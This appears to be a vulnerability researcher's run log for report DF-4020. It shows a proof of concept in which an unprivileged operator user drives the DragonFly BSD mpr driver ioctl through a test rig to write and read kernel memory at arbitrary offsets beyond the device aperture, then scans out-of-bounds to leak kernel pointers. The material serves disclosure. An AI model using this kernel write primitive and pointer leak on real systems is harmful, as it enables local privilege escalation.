DF-4020 baseline runs -- REAL production mpr handler (mpr_ioctl_devsw
dispatched by the df4020rig KLD), driven by uid=2 (operator) over a
0640 root:operator /dev/df4020rig opened O_RDONLY.

NOTE: run 1's original was printed over ssh and lost to a guest reboot
(DFly /tmp is MFS); assembled verbatim from the session transcript.

=== RUN 1 (boot-time-loaded rig: kernel 6.5-DEVELOPMENT #0 Jul 2;
    BAR=0xfffff8008e000000 = the hardware-faithful condition: BAR at
    the bottom of the kmem arena) ===
$ su operator -c '/home/maxx/rig4020/trigger read 0'
DF4020 trigger: uid=2 euid=2 gid=5; BAR=0xfffff8008e000000 scan [0xfffff8008e400000,0xfffff8008e460000) cmd=0xc00c490a
read 0 = 0
write 0x100 = 0x41414141 ok
read 0x100 = 0x41414141
write 0x2000 = 0xdeadbeef ok          <-- offset 0x2000 = 2x the 0x1000 aperture: ACCEPTED by production code
read 0x2000 = 0xdeadbeef               <-- arbitrary-offset kernel WRITE + READBACK proven
write 0x3000 = 0x41414141 ok           <-- second offset, full value control
read 0x3000 = 0x41414141

=== RUN 2 (leak window discovery; same boot) ===
leak: 174 runs enumerated above the BAR (the whole post-boot kernel
heap lies inside the +4 GiB window in the boot-loaded condition);
representative run listing (every page pmap-verified before reading):
leak: run 0 [0xfffff8008e400000,0xfffff8008e460000) ...
... runs through 0xfffff8011902e000 ...
leak: 174 runs; scanning run 66 [0xfffff80118298000, 0xfffff8011829c000)
leak: OOB REG_MEM_READ scan [0xfffff80118298000, 0xfffff8011829c000) above BAR 0xfffff8008e000000
leak: 2048 qwords read, 0 kernel pointers disclosed
(the chosen 16 KiB run held non-pointer data; the mps twin's analogous
scan of the fresh-slab run right above its BAR disclosed 639 kernel
pointers incl. kernel-image addresses -- same accessor inline, see
DF-4012/rig_run.log RUN 3 and leak_sample.txt)

Kernel side for the same runs (console log, survives):
df4020rig: dispatch REAL mpr_ioctl_devsw @ 0xffffffff80598ab0 cmd=0xc00c490a (dispatch #65537) sc=0xfffff8008db21800 bhandle=0xfffff8008e000000